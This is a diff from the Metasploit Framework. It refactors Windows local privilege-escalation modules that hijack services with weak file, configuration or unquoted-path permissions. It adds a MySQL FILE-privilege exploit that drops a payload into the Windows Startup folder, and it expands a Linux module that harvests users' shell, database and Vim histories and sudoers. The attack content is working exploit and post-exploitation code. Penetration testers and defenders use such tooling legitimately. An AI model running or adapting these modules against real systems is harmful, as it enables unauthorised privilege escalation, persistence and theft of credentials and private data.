Metasploit3 < Msf::Exploit::Local service_information = service_info(@service_name) - if service_information['Startup'] == 'Disabled' - print_status("Service is disabled, attempting to enable...") - service_change_startup(@service_name, 'auto') - service_information = service_info(@service_name) - - # Still disabled - if service_information['Startup'] == 'Disabled' - fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") - end - end - # Check architecture dll = generate_payload_dll @@ -265,29 +254,11 @@ class Metasploit3 < Msf::Exploit::Local # Run the service, let the Windows API do the rest # print_status("Launching service #{@service_name}...") - - begin - status = service_start(@service_name) - if status == 1 - print_status("Service already running, attempting to restart...") - if service_stop(@service_name) == 0 - print_status("Service stopped, attempting to start...") - if service_start(@service_name) == 0 - print_status("Service started...") - else - fail_with(Exploit::Failure::Unknown, "Unable to start service.") - end - else - fail_with(Exploit::Failure::Unknown, "Unable to stop service") - end - elsif status == 0 - print_status("Service started...") - end - rescue RuntimeError => e - raise e if e.kind_of? Msf::Exploit::Failed - if service_information['Startup'] == 'Manual' - fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") - else + if service_restart(@service_name) + print_status("Service started...") + else + service_information = service_info(@service_name) + if service_information[:starttype] == START_TYPE_AUTO if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) @@ -297,6 +268,8 @@ class Metasploit3 < Msf::Exploit::Local else fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end + else + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") end end end diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index b192478dc5..94683c99fa 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -77,8 +77,8 @@ class Metasploit3 < Msf::Exploit::Local os = sysinfo["OS"] if os =~ /windows/i svc = service_info 'nvsvc' - if svc and svc['Name'] =~ /NVIDIA/i - vprint_good("Found service '#{svc['Name']}'") + if svc and svc[:display] =~ /NVIDIA/i + vprint_good("Found service '#{svc[:display]}'") begin if is_running? @@ -92,10 +92,10 @@ class Metasploit3 < Msf::Exploit::Local end if sysinfo['Architecture'] =~ /WOW64/i - path = svc['Command'].gsub('"','').strip + path = svc[:path].gsub('"','').strip path.gsub!("system32","sysnative") else - path = svc['Command'].gsub('"','').strip + path = svc[:path].gsub('"','').strip end begin diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index a629ce8410..d6ba7bff0c 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -9,7 +9,13 @@ require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking + include Msf::Post::File include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + ERROR = Msf::Post::Windows::Error def initialize(info={}) super( update_info( info, @@ -19,10 +25,7 @@ class Metasploit3 < Msf::Exploit::Local a SYSTEM session. If directly creating a service fails, this module will inspect existing services to look for insecure file or configuration permissions that may be hijacked. It will then attempt to restart the replaced service to run the - payload. This will result in a new session when this succeeds. If the module is - able to modify the service but does not have permission to start and stop the - affected service, the attacker must wait for the system to restart before a - session will be created. + payload. This will result in a new session when this succeeds. }, 'License' => MSF_LICENSE, 'Author' => [ 'scriptjunkie' ], @@ -48,149 +51,153 @@ class Metasploit3 < Msf::Exploit::Local end - def exploit - # randomize the filename - filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - # randomize the exe name - tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - - raw = payload.encoded - - exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) - - dir_env = session.sys.config.getenvs('SystemRoot', 'TEMP') - sysdir = dir_env['SystemRoot'] - tmpdir = dir_env['TEMP'] - - print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") - begin - # - # Upload the payload to the filesystem - # - tempexe = tmpdir + "\\" + tempexe_name - fd = session.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - rescue ::Exception => e - print_error("Error uploading file #{filename}: #{e.class} #{e}") - return - end - - #attempt to make new service - - #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config + def execute_payload_as_new_service(path) + success = false print_status("Trying to add a new service...") - adv = session.railgun.advapi32 - manag = adv.OpenSCManagerA(nil,nil,0x10013) - if(manag["return"] != 0) - # SC_MANAGER_CREATE_SERVICE = 0x0002 - # SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 - # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 - newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)), - "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) - if(newservice["return"] != 0) - print_status("Created service... #{newservice["return"]}") - ret = adv.StartServiceA(newservice["return"], 0, nil) - print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") - adv.DeleteService(newservice["return"]) - adv.CloseServiceHandle(newservice["return"]) - if datastore['AGGRESSIVE'] != true - adv.CloseServiceHandle(manag["return"]) - return - end - else - print_error("Uhoh. service creation failed, but we should have the permissions. :-(") + service_name = Rex::Text.rand_text_alpha((rand(8)+6)) + if service_create(service_name, {:path => path, :display=>""}) == ERROR::SUCCESS + print_status("Created service... #{service_name}") + write_exe(path, service_name) + if service_start(service_name) == ERROR::SUCCESS + print_good("Service should be started! Enjoy your new SYSTEM meterpreter session.") + success = true end + + service_delete(service_name) else print_status("No privs to create a service...") - manag = adv.OpenSCManagerA(nil,nil,1) - if(manag["return"] == 0) - print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") + success = false + end + + return success + end + + def weak_service_permissions(service_name, service, path) + success = false + vprint_status("[#{service_name}] Checking for weak service permissions") + + if (service_change_config(service_name, {:path => path}) == ERROR::SUCCESS) + print_good("[#{service_name}] has weak configuration permissions - reconfigured to use exe #{path}") + print_status("[#{service_name}] Restarting service") + res = service_stop(service_name) + + if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) + write_exe(path, service_name) + if service_restart(service_name) + print_good("[#{service_name}] Service restarted") + success = true + else + print_error("[#{service_name}] Unable to restart service") + end + end + + unless (service_change_config(service_name, {:path => service[:path]}) == ERROR::SUCCESS) + print_error("[#{service_name}] Failed to reset service to original path #{service[:path]}") end end - print_status("Trying to find weak permissions in existing services..") - #Search through list of services to find weak permissions, whether file or config - serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" - #for each service - service_list.each do |serv| - begin - srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s - if srvtype != "16" - continue - end - moved = false - configed = false - #default path, but there should be an ImagePath registry key - source = "#{sysdir}\\system32\\#{serv}.exe" - #get path to exe; parse out quotes and arguments - sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s - sourcemaybe = session.fs.file.expand_path(sourceorig) - if( sourcemaybe[0] == '"' ) - sourcemaybe = sourcemaybe.split('"')[1] - else - sourcemaybe = sourcemaybe.split(' ')[0] - end - begin - session.fs.file.stat(sourcemaybe) #check if it really exists - source = sourcemaybe - rescue - print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") - end - #try to exploit weak file permissions - if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) - session.railgun.kernel32.CopyFileA(tempexe, source, false) - print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.") - moved = true - end - #try to exploit weak config permissions - #open with SERVICE_CHANGE_CONFIG (0x0002) - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - if(servhandleret["return"] != 0) - #SERVICE_NO_CHANGE is 0xFFFFFFFF - if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, - 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) - print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") - configed = true - end - adv.CloseServiceHandle(servhandleret["return"]) - end - if(moved != true && configed != true) - print_status("No exploitable weak permissions found on #{serv}") - continue - end - print_status("Restarting #{serv}") - #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) - servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) - if(servhandleret["return"] != 0) - #SERVICE_CONTROL_STOP = 0x00000001 - if(adv.ControlService(servhandleret["return"],1,56)) - session.railgun.kernel32.Sleep(1000) - adv.StartServiceA(servhandleret["return"],0,nil) - print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") - #Cleanup - if moved == true - session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) - end - if configed == true - servhandleret = adv.OpenServiceA(manag["return"],serv,2) - adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, - 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) - adv.CloseServiceHandle(servhandleret["return"]) - end - else - print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.") - end - adv.CloseServiceHandle(servhandleret["return"]) - if datastore['AGGRESSIVE'] != true - return - end + return success + end + + def weak_file_permissions(service_name, service, path, token) + success = false + vprint_status("[#{service_name}] Checking for weak file permissions") + + #get path to exe; parse out quotes and arguments + original_path = service[:path] + possible_path = expand_path(original_path) + if (possible_path[0] == '"') + possible_path = possible_path.split('"')[1] + else + possible_path = possible_path.split(' ')[0] + end + + unless file?(possible_path) + # If we cant determine it manually show the user and let them decide if manual inspection is worthwhile + print_status("[#{service_name}] Cannot reliably determine path: #{service[:path]}") + end + + file_permissions = check_dir_perms(possible_path, token) + + if file_permissions && file_permissions.index('W') + print_good("[#{service_name}] Write access to #{possible_path}") + + begin + status = service_status(service_name) + no_access = false + # Unless service is already stopped + if status[:state] == SERVICE_STOPPED + stopped = true else - print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + res = service_stop(service_name) + stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)) end - rescue + rescue RuntimeError => e + vprint_error("[#{service_name}] #{e} ") + no_access = true + end + + if stopped or no_access + begin + if move_file(possible_path, possible_path+'.bak') + write_exe(possible_path, service_name) + print_status("[#{service_name}] #{possible_path} moved to #{possible_path+'.bak'} and replaced.") + if service_restart(service_name) + print_good("[#{service_name}] Service restarted") + success = true + else + print_error("Unable to restart service") + end + end + rescue Rex::Post::Meterpreter::RequestError => e + vprint_error("[#{service_name}] #{e}") + end + else + vprint_error("[#{service_name}] Unable to stop service") + end + end + + return success + end + + # If ServiceType is SERVICE_WIN32_SHARE_PROCESS then we need to + # define the correct servicename. + def write_exe(path, service_name=nil) + vprint_status("[#{service_name}] Writing service executable to #{path}") + exe = generate_payload_exe_service({:servicename=>service_name}) + write_file(path, exe) + register_files_for_cleanup(path) + end + + def exploit + filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + + dir_env = get_envs('SystemRoot', 'TEMP') + sysdir = dir_env['SystemRoot'] + tmpdir = dir_env['TEMP'] + tempexe = tmpdir + "\\" + tempexe_name + + begin + return if execute_payload_as_new_service(tempexe) + rescue RuntimeError => e + vprint_status("Unable to create a new service: #{e}") + end + + aggressive = datastore['AGGRESSIVE'] + + print_status("Trying to find weak permissions in existing services..") + + token = get_imperstoken + each_service do |serv| + service_name = serv[:name] + service = service_info(service_name) + begin + return if weak_file_permissions(service_name, service, tempexe, token) and not aggressive + return if weak_service_permissions(service_name, service, tempexe) and not aggressive + rescue RuntimeError => e + vprint_status("[#{serv[:name]}] #{e}") end end end diff --git a/modules/exploits/windows/local/trusted_service_path.rb b/modules/exploits/windows/local/trusted_service_path.rb index ea0db27c68..dcea5907f9 100644 --- a/modules/exploits/windows/local/trusted_service_path.rb +++ b/modules/exploits/windows/local/trusted_service_path.rb @@ -9,6 +9,7 @@ require 'msf/core/exploit/exe' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Exploit::FileDropper include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Windows::Services @@ -44,10 +45,8 @@ class Metasploit3 < Msf::Exploit::Local ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], - 'SessionTypes' => [ "shell", "meterpreter" ], + 'SessionTypes' => [ "meterpreter" ], 'DefaultTarget' => 0, - # Migrate away, in case the service dies (can kill access) - 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' } )) end @@ -65,28 +64,27 @@ class Metasploit3 < Msf::Exploit::Local def enum_vuln_services(quick=false) vuln_services = [] - service_list.each do |name| - info = service_info(name) + each_service do |service| + info = service_info(service[:name]) # Sometimes there's a null byte at the end of the string, # and that can break the regex -- annoying. - cmd = info['Command'].strip + if info[:path] + cmd = info[:path].strip - # Check path: - # - Filter out paths that begin with a quote - # - Filter out paths that don't have a space - next if cmd !~ /^[a-z]\:.+\.exe$/i - next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) + # Check path: + # - Filter out paths that begin with a quote + # - Filter out paths that don't have a space + next if cmd !~ /^[a-z]\:.+\.exe$/i + next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) - # Filter out services that aren't launched as SYSTEM - next if info['Credentials'] !~ /LocalSystem/ + vprint_status("Found vulnerable service: #{service[:name]} - #{cmd} (#{info[:startname]})") + vuln_services << [service[:name], cmd] - vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})") - vuln_services << [name, cmd] - - # This process can be pretty damn slow. - # Allow the user to just find one, and get the hell out. - break if not vuln_services.empty? and quick + # This process can be pretty damn slow. + # Allow the user to just find one, and get the hell out. + break if not vuln_services.empty? and quick + end end return vuln_services @@ -99,69 +97,32 @@ class Metasploit3 < Msf::Exploit::Local # print_status("Finding a vulnerable service...") svrs = enum_vuln_services(true) - if svrs.empty? - print_error("No service found with trusted path issues") - return - end + + fail_with(Failure::NotVulnerable, "No service found with trusted path issues") if svrs.empty? svr_name = svrs.first[0] fpath = svrs.first[1] exe_path = "#{fpath.split(' ')[0]}.exe" - print_status("Placing #{exe_path} as #{svr_name}") - + print_status("Placing #{exe_path} for #{svr_name}") # # Drop the malicious executable into the path # - exe = generate_payload_exe + exe = generate_payload_exe_service({:servicename=>svr_name}) print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...") begin write_file(exe_path, exe) + register_files_for_cleanup(exe_path) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on - print_error(e.message) - return + fail_with(Failure::Unknown, e.message) end - # # Run the service, let the Windows API do the rest # print_status("Launching service #{svr_name}...") - tried = false - begin - status = service_start(svr_name) - raise RuntimeError, status if status != 0 - rescue RuntimeError => s - if tried - print_error("Unable to start #{svr_name}") - return - else - tried = true - end - - case s.message.to_i - when 1 - # Service already started, restart again - service_stop(svr_name) - retry - when 2 - # Service disabled, enable it - service_change_startup(svr_name, 'manual') - retry - end - end - - - # - # "Nothing ever happened, we swears it on the Precious!" - # - print_status("Deleting #{exe_path}") - begin - cmd_exec("cmd /c del \"#{exe_path}\"") - rescue ::Exception => e - print_error("Unable to remove #{exe_path}: #{e.message}") - end + service_restart(svr_name) end end diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index 33073fca2e..a869680f6a 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy - include Msf::Post::Windows::Services include Msf::Post::Windows::Registry include Msf::Exploit::EXE diff --git a/modules/exploits/windows/mysql/mysql_start_up.rb b/modules/exploits/windows/mysql/mysql_start_up.rb new file mode 100644 index 0000000000..69595f0236 --- /dev/null +++ b/modules/exploits/windows/mysql/mysql_start_up.rb @@ -0,0 +1,143 @@ +## +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::MYSQL + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse', + 'Description' => %q{ + This module takes advantage of a file privilege misconfiguration problem + specifically against Windows MySQL servers. This module abuses the FILE + privilege to write a payload to Microsoft's All Users Start Up directory + which will execute every time a user logs in. The default All Users Start + Up directory used by the module is Windows 7 friendly. + }, + 'Author' => + [ + 'sinn3r', + 'Sean Verity + { + 'DisablePayloadHandler' => 'true' + }, + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-5613'], #DISPUTED + ['OSVDB', '88118'], + ['EDB', '23083'], + ['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13'] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'MySQL on Windows', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 01 2012' + )) + + register_options( + [ + OptString.new('USERNAME', [ true, 'The username to authenticate as']), + OptString.new('PASSWORD', [ true, 'The password to authenticate with']), + OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/']) + ]) + end + + def check + m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) + return Exploit::CheckCode::Safe unless m + + return Exploit::CheckCode::Appears if is_windows? + + Exploit::CheckCode::Safe + end + + def peer + "#{rhost}:#{rport}" + end + + def query(q) + rows = [] + + begin + res = mysql_query(q) + return rows unless res + res.each_hash do |row| + rows << row + end + rescue RbMysql::ParseError + return rows + end + + rows + end + + def is_windows? + r = query("SELECT @@version_compile_os;") + r[0]['@@version_compile_os'] =~ /^Win/ ? true : false + end + + def get_drive_letter + r = query("SELECT @@tmpdir;") + drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || '' + + drive + end + + def upload_file(bin, dest) + p = bin.unpack("H*")[0] + query("SELECT 0x#{p} into DUMPFILE '#{dest}'") + end + + def exploit + unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/') + fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/") + end + + print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") + begin + m = mysql_login(datastore['USERNAME'], datastore['PASSWORD']) + rescue RbMysql::AccessDeniedError + fail_with(Failure::NoAccess, "#{peer} - Access denied") + end + + fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m + + unless is_windows? + fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows") + end + + begin + drive = get_drive_letter + rescue RbMysql::ParseError + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") + end + + fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive + + exe_name = Rex::Text::rand_text_alpha(5) + ".exe" + dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}" + exe = generate_payload_exe + + print_status("#{peer} - Uploading to '#{dest}'") + begin + upload_file(exe, dest) + rescue RbMysql::AccessDeniedError + fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)") + end + register_file_for_cleanup("#{dest}") + end + +end diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index 852f160865..161d091090 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -11,50 +11,57 @@ class Metasploit3 < Msf::Post include Msf::Post::File include Msf::Post::Linux::System - - def initialize(info={}) - super( update_info( info, - 'Name' => 'Linux Gather User History', - 'Description' => %q{ - This module gathers user specific information. - User list, bash history, mysql history, vim history, - lastlog and sudoers. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - # based largely on get_bash_history function by Stephen Haywood - 'ohdae ' - ], - 'Platform' => ['linux'], - 'SessionTypes' => ['shell', 'meterpreter'] - )) - + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Gather User History', + 'Description' => %q{ + This module gathers the following user-specific information: + shell history, MySQL history, PostgreSQL history, MongoDB history, + Vim history, lastlog, and sudoers. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + # based largely on get_bash_history function by Stephen Haywood + 'ohdae ' + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) end def run distro = get_sysinfo - print_good("Info:") + print_good('Info:') print_good("\t#{distro[:version]}") print_good("\t#{distro[:kernel]}") - users = execute("/bin/cat /etc/passwd | cut -d : -f 1") - user = execute("/usr/bin/whoami") + user = execute('/usr/bin/whoami') + users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split + users = [user] if user != 'root' || users.blank? - mount = execute("/bin/mount -l") - get_bash_history(users, user) - get_sql_history(users, user) - get_vim_history(users, user) - last = execute("/usr/bin/last && /usr/bin/lastlog") - sudoers = cat_file("/etc/sudoers") + vprint_status("Retrieving history for #{users.length} users") + shells = %w{ash bash csh ksh sh tcsh zsh} + users.each do |u| + home = get_home_dir(u) + shells.each do |shell| + get_shell_history(u, home, shell) + end + get_mysql_history(u, home) + get_psql_history(u, home) + get_mongodb_history(u, home) + get_vim_history(u, home) + end - save("Last logs", last) unless last.nil? - save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/ + last = execute('/usr/bin/last && /usr/bin/lastlog') + sudoers = cat_file('/etc/sudoers') + save('Last logs', last) unless last.blank? + save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/ end - def save(msg, data, ctype="text/plain") - ltype = "linux.enum.users" + def save(msg, data, ctype = 'text/plain') + ltype = 'linux.enum.users' loot = store_loot(ltype, ctype, session, data, nil, msg) print_status("#{msg} stored in #{loot.to_s}") end @@ -62,91 +69,66 @@ class Metasploit3 < Msf::Post def get_host case session.type when /meterpreter/ - host = sysinfo["Computer"] + host = sysinfo['Computer'] when /shell/ - host = session.shell_command_token("hostname").chomp + host = session.shell_command_token('hostname').chomp end - print_status("Running module against #{host}") - - return host + host end def execute(cmd) vprint_status("Execute: #{cmd}") output = cmd_exec(cmd) - return output + output end def cat_file(filename) vprint_status("Download: #{filename}") output = read_file(filename) - return output + output end - def get_bash_history(users, user) - if user == "root" and users != nil - users = users.chomp.split() - users.each do |u| - if u == "root" - vprint_status("Extracting history for #{u}") - hist = cat_file("/root/.bash_history") - else - vprint_status("Extracting history for #{u}") - hist = cat_file("/home/#{u}/.bash_history") - end - - save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/ + def get_home_dir(user) + home = execute("echo ~#{user}") + if home.empty? + if user == 'root' + home = '/root' + else + home = "/home/#{user}" end - else - vprint_status("Extracting history for #{user}") - hist = cat_file("/home/#{user}/.bash_history") - vprint_status(hist) - save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/ end + home end - def get_sql_history(users, user) - if user == "root" and users != nil - users = users.chomp.split() - users.each do |u| - if u == "root" - vprint_status("Extracting SQL history for #{u}") - sql_hist = cat_file("/root/.mysql_history") - else - vprint_status("Extracting SQL history for #{u}") - sql_hist = cat_file("/home/#{u}/.mysql_history") - end - - save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ - end - else - vprint_status("Extracting SQL history for #{user}") - sql_hist = cat_file("/home/#{user}/.mysql_history") - vprint_status(sql_hist) if sql_hist - save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ - end + def get_shell_history(user, home, shell) + vprint_status("Extracting #{shell} history for #{user}") + hist = cat_file("#{home}/.#{shell}_history") + save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/ end - def get_vim_history(users, user) - if user == "root" and users != nil - users = users.chomp.split - users.each do |u| - if u == "root" - vprint_status("Extracting VIM history for #{u}") - vim_hist = cat_file("/root/.viminfo") - else - vprint_status("Extracting VIM history for #{u}") - vim_hist = cat_file("/home/#{u}/.viminfo") - end - - save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ - end - else - vprint_status("Extracting history for #{user}") - vim_hist = cat_file("/home/#{user}/.viminfo") - vprint_status(vim_hist) - save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ - end + def get_mysql_history(user, home) + vprint_status("Extracting MySQL history for #{user}") + sql_hist = cat_file("#{home}/.mysql_history") + save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ end + + def get_psql_history(user, home) + vprint_status("Extracting PostgreSQL history for #{user}") + sql_hist = cat_file("#{home}/.psql_history") + save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ + end + + def get_mongodb_history(user, home) + vprint_status("Extracting MongoDB history for #{user}") + sql_hist = cat_file("#{home}/.dbshell") + save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/ + end + + def get_vim_history(user, home) + vprint_status("Extracting Vim history for #{user}") + vim_hist = cat_file("#{home}/.viminfo") + save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/ + end + end diff --git a/modules/post/multi/gather/dns_bruteforce.rb b/modules/post/multi/gather/dns_bruteforce.rb index 294e74a171..3c987cc114 100644 --- a/modules/post/multi/gather/dns_bruteforce.rb +++ b/modules/post/multi/gather/dns_bruteforce.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post register_options( [ - OptString.new('DOMAIN', [true, 'Domain to do a fordward lookup bruteforce against.']), + OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']), OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.", ::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")]) diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index b60f179fe8..97e9fa6ab1 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -8,6 +8,10 @@ require 'rex' class Metasploit3 < Msf::Post + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2015, 1, 8), 'exploit/windows/local/service_permissions' + include Msf::Post::Windows::Services def initialize(info={}) @@ -39,7 +43,7 @@ class Metasploit3 < Msf::Post def run paths = [] - services = [] + candidate_services = [] vuln = "" @temp = session.sys.config.getenv('TEMP') @@ -50,16 +54,16 @@ class Metasploit3 < Msf::Post print_status("Checking for vulnerable .NET Framework Optimization service") print_status("This may take a few minutes.") # enumerate the installed .NET versions - service_list.each do |service| - if service =~ /clr_optimization_.*/ - info = service_info(service) - paths << info['Command'] - services << service + each_service do |service| + if service[:name] =~ /clr_optimization_.*/ + info = service_info(service[:name]) + paths << info[:path] + candidate_services << service[:name] begin - service_stop(service) # temporarily stop the service - print_status("Found #{info['Name']} installed") + service_stop(service[:name]) # temporarily stop the service + print_status("Found #{service[:name]} installed") rescue - print_error("We do not appear to have access to stop #{info['Name']}") + print_error("We do not appear to have access to stop #{service[:name]}") end else next @@ -80,17 +84,13 @@ class Metasploit3 < Msf::Post payload = setup_exploit end - services.each do |service| + candidate_services.each do |service| session.railgun.kernel32.CopyFileA(payload, vuln, false) - mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1) - if mng['return'].nil? - print_error("Cannot open service manager, not enough privileges") - return - end - # restart the service - status = service_start(service) - if status == 0 + # restart the service + status = service_restart(service) + + if status print_status("Restarted #{service}") else print_error("Failed to restart #{service}") diff --git a/modules/post/windows/gather/credentials/tortoisesvn.rb b/modules/post/windows/gather/credentials/tortoisesvn.rb index b773a3c662..c8fff9fa50 100644 --- a/modules/post/windows/gather/credentials/tortoisesvn.rb +++ b/modules/post/windows/gather/credentials/tortoisesvn.rb @@ -48,7 +48,6 @@ class Metasploit3 < Msf::Post addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - #print_status("#{ret.inspect}") len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 95433a71d7..eff601943b 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -15,12 +15,14 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => "Windows Gather Service Info Enumeration", 'Description' => %q{ - This module will query the system for services and display name and configuration - info for each returned service. It allows you to optionally search the credentials, path, - or start type for a string and only return the results that match. These query operations - are cumulative and if no query strings are specified, it just returns all services. - NOTE: If the script hangs, windows firewall is most likely on and you did not - migrate to a safe process (explorer.exe for example). + This module will query the system for services and display name and + configuration info for each returned service. It allows you to + optionally search the credentials, path, or start type for a string + and only return the results that match. These query operations are + cumulative and if no query strings are specified, it just returns all + services. NOTE: If the script hangs, windows firewall is most likely + on and you did not migrate to a safe process (explorer.exe for + example). }, 'License' => MSF_LICENSE, 'Platform' => ['win'], @@ -31,97 +33,100 @@ class Metasploit3 < Msf::Post [ OptString.new('CRED', [ false, 'String to search credentials for' ]), OptString.new('PATH', [ false, 'String to search path for' ]), - OptEnum.new('TYPE', [false, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]]) + OptEnum.new('TYPE', [true, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]]) ], 